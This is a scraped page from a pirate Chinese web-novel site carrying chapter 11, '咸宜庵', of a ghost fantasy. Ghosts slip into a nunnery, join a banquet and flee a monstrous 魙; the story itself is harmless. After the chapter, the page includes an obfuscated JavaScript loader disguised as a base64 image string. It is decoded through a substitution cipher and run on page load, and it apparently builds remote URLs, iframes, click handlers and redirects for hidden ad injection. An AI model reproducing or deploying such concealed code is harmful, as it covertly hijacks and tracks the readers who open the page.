首页
第十一章 咸宜庵
返回

第十一章 咸宜庵

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    毛绒绒的月亮悬在树梢上头,夜风从此间漫过来,被凌乱的树梢筛得细碎,就成了千万把冷刀子,攒入咸宜庵门前,刮得鬼龇牙咧嘴。
    众鬼只好把两只小鬼围在中间,围成一团苦苦忍耐。
    前头就是庵门,墙不高,门也不厚,但上头缠绕的灵光却让鬼魅们不敢逾越分毫。
    目光越过墙头,可以望见寺内沿山而建的院落上灯火通明,传出阵阵欢声笑语——佛门清净地似有一场夜宴正在举行。
    一墙之隔。
    一头热闹而温暖,一头却只能被冷风拆骨头。
    众鬼本来还对进寺庙过夜心存疑虑,可当夜深风冷,也顾不了许多,反倒一个劲儿催促黄尾。
    黄尾一边敷衍着“快了,快了”;一边躲在鬼堆里,拿着一条长树枝远远挠门。
    大伙儿逐渐不耐。
    门里终于有了回应:
    “门外的善信,本庵夜里不接待香客,还请明早再来吧。”记住网址iuxzw.com
    话里故作老成,但声音软糯糯的,显然是小女娃娃。
    黄尾让大伙儿噤声:“里头是拾得小师傅么?”
    “唉~”门里老气横秋地叹了口气,“我就说哪个半夜登门,果然是黄尾你呢。”
    “没想小师傅佛法越加精深,都能掐会算了!不妨再算算,我这番给小师傅带的什么糖果?”
    “杨梅糖!”
    门里小尼姑的声音立即雀跃起来,可转眼又苦闷下去。
    “我不要你的糖果了。师傅说了,不许我再放你进门。”
    众鬼心里顿时咯噔一下。
    黄尾向大伙儿眨了眨眼,然后装模作样叫唤起来。
    “哎哟,哎哟!”
    “怎的了?”
    “冷风丝丝都似那竹条,刮在身上,比打手心还疼哩!”
    “可师父说……”
    “老鬼只求四面墙壁躲上一夜,天不亮就走。小师傅不说,我也不说,师太又怎会知道呢?”
    “可是明早师父发现林子里佛像被糊了眼,就晓得你来过哩。”
    黄尾嘿然一笑:“小师傅不放黄尾进去,佛眼上的泥巴也不会掉。反正师太都会发现我今夜来过,你放不放我进门,又有什么分别呢?”
    “……”
    门里当即没了声响,显然小丫头被绕晕了头。
    众鬼纷纷对黄尾奉上“鄙夷”:这厮竟然骗小孩儿!
    可当又一阵冷风袭来,刀刀入肉。门里也迟疑着开口:“好吧……但不许教人发现。”
    众鬼:骗得好!
    ……
    得了小尼姑应许,黄尾领着大伙儿熟门熟路到了一墙根下,扒开草丛——得,又是一口狗洞!
    流年不利。
    怎么今晚没干别的,净在钻来窜去?!
    无奈冷风一催,李长安叉腰吐口水趴地钻洞一气呵成。
    进了院子。
    就瞧见一个约么五六岁的圆乎乎的小尼姑,踮着脚尖,举着小短手,用袖子遮住一尊佛像的眼睛,以免佛光照住洞口。
    “好么没?”
    黄尾:“快了,快了。”
    然而小尼姑手都举软了,黄尾还是那句“快了”。
    纳闷回头一瞧。
    呀?!
    墙根下咪悄咪蹲了一排鬼。
    那洞口还不断有鬼冒头。
    小尼姑把眼睛瞪得跟脑袋一般圆,扭头就要跑。
    把黄尾吓得赶紧叫道:“祖宗,慢些!小鬼可经不住那佛爷一眼呢!”
    小尼姑听了,连忙又把袖子遮上去,撅着嘴:
    “坏黄尾你骗人!”
    黄尾见状松了口气,又开口忽悠:“小师父放宽心,咱们都是好鬼哩。”
    可小尼姑却突然“精明”起来:
    “放你一个,师傅都要打我手心。而今,进来这么多……”
    说着,嘴巴越撅越高,眼泪都渐渐打起了转。
    委屈巴巴给众鬼点起数,计算自个儿得被打多少次手心。
    “一、二……八、九、十。”十以后不会数,只好又,“一、二、三……”
    手指都掰完了,也没数出个数出来。
    小姑娘急得脑门直冒汗,连被打手心的苦恼都顾不上了。
    这时候,旁边忽然插进一个声音:
    “十八。”
    小尼姑连连点头:“对,对!就是十八。”扭头冲那声音,“阿弥陀佛,多谢施……”
    话声戛然而止。
    而后竟是吓得往后一蹦,连佛眼也顾不上遮了。
    李长安赶紧一个健步上去,拿袖子包住佛头——他是正儿八经的玄门修士,并不惧怕这点佛光——而后顺着小尼姑怯生生的目光望去,那里多出了几个身形精悍,配着刀剑,作武夫打扮的男人。
    他们晃悠悠迫近。
    “小尼姑个头不大,胆子不小。竟敢外通贼人,监守自盗!”
    小尼姑脑袋摇得飞快:“不是贼人,不是自盗,他们都是客人哩。”
    “客人?”
    武夫们哈哈大笑,浑身的煞气压鬼,酒气熏人。
    其中一个忽然上前,伸手揪住黄尾顶毛,拉到身前,用灯笼一照。
    迷离醉眼,“嘿嘿”嬉笑。
    “嚯,好丑的玩意儿。咦?没影子?竟还是只鬼!”
    黄尾吃痛不已,但仍悄悄摆手,让大伙儿不要轻举妄动。
    然后谄笑着连连作揖:“将军手松些,你定是外地人吧?”
    “怎的?本地鬼就能做贼么?”
    “好汉说笑了。如果我没猜错,上头设宴的主人应该无尘大师吧?钱唐城里谁人不知?无尘设宴,来者不拒。我等即便是鬼,但进了这咸宜庵,又如何不是客呢?”
    几个醉鬼面面相觑一阵,又忽而放声大笑起来。
    “这丑东西倒是长着好舌头,你要是是个活的,乃公非得割来切脍佐酒不可!”
    “你要做客?好好好,都同乃公来吧!”
    …………
    咸宜庵依山而建。
    最高处是主殿,供奉着大神观自在,两侧皆有弧形廊屋,对坐着诸般菩萨、罗汉。
    中间是一个宽敞庭院,庭院入口与主殿相对处,立着一扇牌坊,牌坊外便是延伸向下的石阶,殿上的佛陀们可以从这里俯望钱唐的万家灯火。
    然而在今夜,观自在们通通背过了身去,面壁而坐,任由庭上挑起华灯、拉上帷幕、摆上酒席、升起歌舞,席间高朋有和尚有道人有官吏有文士,甚至还有江湖豪客。
    每一席都有着僧服的女子作陪,她们或是仍带发修行,或了却了烦恼丝,但共同点是都妆容秀美。虽陪酒,但并不殷勤,客人有无礼之举,偶尔还会柔声呵斥,疏离冷淡,俨然一副淡然出尘的出家人做派。
    只不过。
    珈蓝宝地怎会作了欢场?出家人又怎会陪酒呢?
    李长安混在鬼群中被撵上庭院,见眼前古怪,大受震撼,只能说钱唐确实是大城市,花样就是与别处不同。
    军汉中为首的径直闯上宴席,庭院中本有琴师抚曲美人歌舞,当即被他吓得如鸟儿四散。他自个儿到不以为意,带着醉意,大笑着向席上叉手问礼。
    席上有老者笑骂:
    “你这纨绔!高僧当前,怎能如此浪荡?!”
    军汉回道:“恩师莫气。您老不知,我在下头捉住些有趣儿的玩意儿,特意带来给诸位取乐。”
    他口中的“有趣儿玩意儿”当然就是众鬼。
    听他此言,众鬼中有松一口气的,譬如两个货郎,他们贫贱惯了,贵人不要钱不索命,不要壮丁,也不要女子,只不过要自个儿扮丑取乐,实在是邀天之幸。
    有愤懑不平的,譬如三个秀才,他们小声嘀咕着:“我等虽沦为孤魂野鬼,又岂可为猖优之事?!”
    反倒是黄尾,奇怪得紧,一个劲儿的唉声叹气,嘴里念叨着“亏了”、“不划算”。
    等到军汉招手示意,不需催促,他整了整衣裳,越众而出,向席间主人双手合什问道:
    “无尘识得故人么?”
    …………
    宴席的主人无尘是一个极漂亮的年青和尚。
    他身边陪侍的女尼已然是极少见的美人了,气质清冷,容颜迤逦,但相较无尘,却仍逊色几分。
    然漂亮如此,但无尘身上绝不见女态,就像是……就像什么,李长安也说不清楚,毕竟他对男色也不感兴趣。
    无尘一身白衣,纤尘不染,手持一枚柄折扇,原本斜依在软塌上,带着微微的熏醉含笑看着席上种种。
    待到黄尾上前。
    他才稍稍起身,蹙眉凝望过来,许久,终于展眉。
    “善均?黄善均?!你可是善均师兄?”
    那节帅脸上的驼红以肉眼可见的速度削减下去。
    他酒醒了。
    …………
    “师兄与我有几年未见了?”
    “已有五六年。”
    “身在幽冥,可还安好?”
    “承蒙挂念,一切安康。”
    短短几句,听得那军汉心乱如麻。
    谁能想到,一个獐头鼠目的毛脸鬼魅居然是大名鼎鼎的无尘和尚故交,听话语还颇为亲厚。
    他才暗道“苦也”。
    “师兄半夜来访,所谓何事?”
    “被这位将军叫来,为客人取乐而已。”
    无尘的目光转向他。
    “节帅,确有其事?”
    话语里虽不带半点愠怒,却让被称作节帅的军汉如芒刺在背。
    但他虽长得粗鲁,却有几分急智。
    “好叫大师知晓,此乃我家乡习俗。凡是开席而后入席之人,都需表演节目取乐诸客,以作赔罪。”
    他又对黄尾语气生硬道:“我久在军中,言语无忌。若有冒犯,他日必有赔谢。”
    黄尾只说“不敢”,闭口不言。
    无尘见状作出疑惑的样子问席上那老者:
    “贫僧孤陋寡闻,敢问相公,确有此俗?”
    老者睁眼说:
    “都是乡间鄙俗。”
    无尘听了摇头失笑,摆着手中折扇,一副饶有兴致的模样。
    “相公此言差矣,贫僧倒觉得此俗甚妙,能为宴席平添许多乐趣。”
    “只不过。”
    话锋一转,向那节帅:
    “善均师兄固然是后入席,但节帅不也是后入席么?按照顺序,应当是节帅先行表演才是。”
    节帅白下去的脸皮立马又涨得通红,却不敢发作,拿目光询问上席老者,老者冲他微微摇头。
    他于是把一只手藏在身后,紧了又紧:“可,某善舞剑。”
    “舞剑?”
    无尘折扇轻点几案。
    “贫僧早年曾有幸观薛大家舞剑,端的是矫若惊龙,可现在想来,剑舞固然精彩,但与其是女儿身也不无关系。以柔弱之身操阳刚之舞,才是最绝妙处。若换上男子来舞剑,反倒没那般滋味。”
    “有了!”
    他抚掌笑道:
    “节帅是猛士,不如跳舞如何?我听闻相公家中舞姬尤善柘枝舞,遗憾无缘观赏,不若就请节帅跳一曲柘枝舞?!”
    那节帅的拳头快捏出血了,最后:
    “大师有言,敢不奉命。”
    “好极了。左右,还不为舞者梳妆?”
    一群舞姬娇笑着围拢过来,不一阵,又散开,留得那节帅已大变模样:傅了粉面,抹上胭脂,贴了花钿,插上步摇,头上挂上个小铃铛,不晓得哪个还给他塞了一把小圆扇。
    “甚妙,甚妙!”
    无尘忍着笑,冲黄尾眨了眨眼睛,然后又对那老者说:
    “有柘枝舞,怎可无柘枝曲,不如请相公……”
    老者一点不作迟疑,爽快道:“固所愿也,不敢请耳。”
    而后要来一面手鼓,当场敲起曲乐,那节帅也应和着节拍起舞。
    节帅生得五大三粗,柘枝舞的动作却又极尽柔媚,二者撞上,实在教人忍俊不禁,但因顾忌两人脸面,席上客人都苦苦忍耐。
    直到那节帅跳到某个“回眸一笑”的舞姿,那戟张的胡须,粉嘟嘟的脸蛋,红通通的嘴唇,从圆扇后头递到人前,一下教人破了防。
    一时,满座皆笑。
    欢笑里,老者意态从容,节帅面色铁青,也有人忧心忡忡。
    托黄尾的福,无尘让众鬼与小尼姑拾得都入了席,扎堆坐在宴席最下首,靠近牌坊的位置。
    而忧心之人,或说鬼,便是秀才中最老成的一个,他姓卢。
    席上都在笑,唯独卢秀才闷闷不乐。
    “那位无尘大师称呼这两位相公、节帅,相公是尊称宰相的,节帅是尊称节度使,今日他们受到如此屈辱,来日势必迁怒我等,介时又该如何是好?”
    旁边:“兴许只是僭称。”意思是把吊毛称作靓仔。
    “不然。”
    他指着场中两人。
    “你看那节帅腰间玉带,分明是军中大将形制。你再看那相公腰间所配,那是金鱼袋!两人纵然不是宰相、节度,也定是官高显贵无疑。”
    痛心疾首。
    “黄兄,你孟浪了!”
    黄尾自打落座,不停地向邻近作揖鞠躬,一副市侩低伏做派,但此时嘴上却回道:
    “咱们都是鬼,何必太在意活人的官府?就算是皇帝的圣旨,也比不了道长的黄符。再说了,我若是为了不被那节度迁怒,而拂了无尘的兴致,岂不是为了一个侮辱我的弱者,而去得罪一个帮助我的强者?”
    卢秀才无言以对。
    说话间,舞曲落幕。
    老者淡然道了一句献丑。
    那节帅却找了个由头冷着脸离席而去。
    经过牌坊时,看也没看黄尾与众鬼一眼。
    想来,他并不憎恨李长安们,就像人不会去恨一个物件,哪怕曾不慎被物件所伤。
    …………
    “轮到在下献丑了。”
    不需呼唤,节帅离开后,黄尾自觉地弯腰小跑上庭院中央,向着四周看客们挨个作了一圈揖。他形貌滑稽,不必故作丑态,便逗得满座又是一阵轻笑。
    无尘用折扇敲停喧哗,扇骨指着黄尾。
    “诸位高朋兴许不知,我这善均师兄,昔日的琴艺可谓江南一绝。”
    黄尾:“大师谬赞。”
    无尘又指向身边的女尼。
    “而在当年,静修师太的唱曲亦是坊中第一。”
    “今夜良宵美景难得,两位何不合作一曲?”
    庭上黄尾点头哈腰应承不提,那位唤作静修的美人师太一言不发,冷着脸,离席下到庭来,远远瞪了藏在鬼群中的小尼姑一眼。
    小娃娃“呀”了一声,缩着脖子就往李长安背后钻。
    小声抽泣着囔囔:“死黄尾,坏黄尾,师傅又要打我手心了。”
    道士听着好笑,递过一盘糕点,小尼姑接过去,委屈巴巴往嘴里塞。
    黄尾在场上为小尼姑开脱:“非是小师傅的过错,实在是……”
    静修却半点儿不搭理他,仿佛他是什么腌臜物,避得远远的,瞧也不肯瞧上一眼。
    黄尾讨了个没趣儿,但仍嬉皮笑脸。
    上首。
    无尘又道:“以师兄的琴艺不可用寻常的琴。何大家,可否借用你的梧桐琴?”
    他口中的何大家,是先前演奏的琴师,也是一个妆容精致的美人,李长安看她几分眼熟,但究竟什么地方见过,却始终想不出来。
    而黄尾已然接过梧桐琴,就地盘腿坐下,将琴横在膝上,随手拨弄,琴声欢脱如雀跃竹枝。猛一瞧,竟有几分竹林隐士洒脱不羁的模样。
    可随即,他习惯地摆出谄笑,打破了这点儿错误印象。
    “不知大师想听哪首曲子。”
    “白头吟可好?”
    黄尾的笑容似乎停滞了短短一瞬,然后更加灿烂。
    “当然好!”
    他双手按琴,闭眼冥思稍许,而后拨动琴弦,音符便如山间清泉潺潺而出。初时,席上尚有交头接耳,可几个宫商角徵羽后,所有人都安静了下来。
    李长安不懂乐理,只觉黄尾的琴声如同有人在耳边低述,时而嗟叹,时而决绝。
    静修师太适时应和琴声唱到:
    “皑如山上雪,皎若云间月。
    闻君有两意,故来相决绝。”
    人声清冽而透彻,与琴声相得益彰。想不到静修师太虽然不待见黄尾,但两人合作这《白头吟》,却给人天作之合的感觉。
    尤其当唱道:
    “愿得一心人,白首不相离。”
    琴声渐渐高昂激烈,歌声却缓缓婉转低沉。这交错落差,让曲中所蕴之情深深浸入听客心头。
    使人赞叹之余,不由得期待起此曲最后一句。
    然而。
    “黄尾!当心!”
    突兀,一声大喝打断琴曲,旋即有大风平地而起。
    吹乱碟盏,摘落灯烛。
    但这风来得快,去得更快。
    席间诸位从短暂的诧异中回神。
    很快瞧见。
    庭院中,黄尾瞪着眼翻坐在地不知所措,而他原本的位置上,一枚长箭没入石板,尾羽犹自颤栗。
    众人不由得将目光投向不知何时起身的李长安,然后又顺着李长安的目光,看向牌坊下手持弓箭、垂首而立的不速之客。
    却是那节帅去而复返。
    ……
    席上老者第一次变了颜色,他猛地拍案喝骂:
    “混账东西!竟在此处撒酒疯,还不速速退下!”
    那节帅没有回应,只是沉默着微微晃动身躯。
    李长安察觉到了古怪。
    他离得近些,可以看到此人神情惊恐、面色铁灰,这铁灰不是心情愤恨的形容,而他的面色真就青黑灰败。
    李长安踢了踢身边的鬼屁股,叫他们机灵点儿——这帮穷鬼到现在还抱着席上的好酒好菜不肯撒手。
    席上和尚道士不少,也有真正的修行人士,都看出情形古怪,暗自提防。
    无尘和尚更是直接让明面呵斥实际开脱的老者闭嘴。
    他取下腕上念珠。
    “孽障。”
    眉宇忽而一凛。
    “安敢作祟!”
    念珠顿时化作流光飞掷而出,落在节帅周遭,炸出轰然巨响。
    李长安赶紧踢翻几案,招呼大伙儿往院子里头跑,顺手去牵那小尼姑。谁料小姑娘机敏得很,早就蹿了出去,直扑自家师傅大腿。
    旁边其余客人也都反应过来,有样学样。
    不多时,一群人都聚拢在正殿前,慌张回望。
    但见牌坊下,那节帅已然僵扑在地,但身遭却腾起大片大片的浓烟。
    帷幕已然倾塌,夜风趁机而入,吹乱烛影。
    但那浓烟却如铁幕石壁不为所动,反不住蔓延堵住了大院的出口。
    无尘的声音朗朗响起:
    “何方鬼祟?竟敢擅闯佛门清净之地?”
    短暂的寂静后。
    “哈哈哈哈~”
    院中回荡起低沉而粗重的笑声,有个声音自烟幕中而来。
    “和尚是和尚,尼姑是尼姑,佛门不一定是佛门,清净?哈哈,哪里有清净?!”
    随着话声,雾中浮现出一个人影,其形貌瞧不真切,轮廓在浓烟中不住扭曲,然极为高大,甚至高出了牌坊一头。
    它弯下腰,抓住了牌坊下缘,作势要钻入庭院。
    然而那巨影尚未显出形状,先有一种浓绿近墨的东西从浓烟中淅出。凝聚成团团雾状,而后融化着流淌着漫入庭院。
    这东西质感十分古怪,比烟重,比雾稠。
    李长安凝视那贴地流淌的尘雾,恍然之间,似乎瞧见一个哭嚎着的极其扭曲的人形,但转瞬不见,再想细看,那尘雾已缠绕在脚尖。
    顿时。
    道士只觉一股难以言喻的邪气包裹住魂魄。
    仿佛一下子被扼住了咽喉、攥紧了心脏。
    他听到“咯、咯、咯”声响。
    侧目看去。
    黄尾僵立着一动不动,两排牙齿不住颤栗碰撞。
    自打李长安认识这黄毛鬼,他就从来一副混不吝的模样。
    李长安甚至怀疑,哪怕有一天这厮见了阎罗,都能口称哥哥,掰扯几句。
    可如今,却似被毒蛇盯住的蛤蟆。
    “这是什么?”道士问。
    黄尾的眼珠艰难动了动。
    他说:
    “魙。”
    ——
    《幽冥录》:人死为鬼,鬼死为魙,鬼之畏魙,犹人之畏鬼也。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();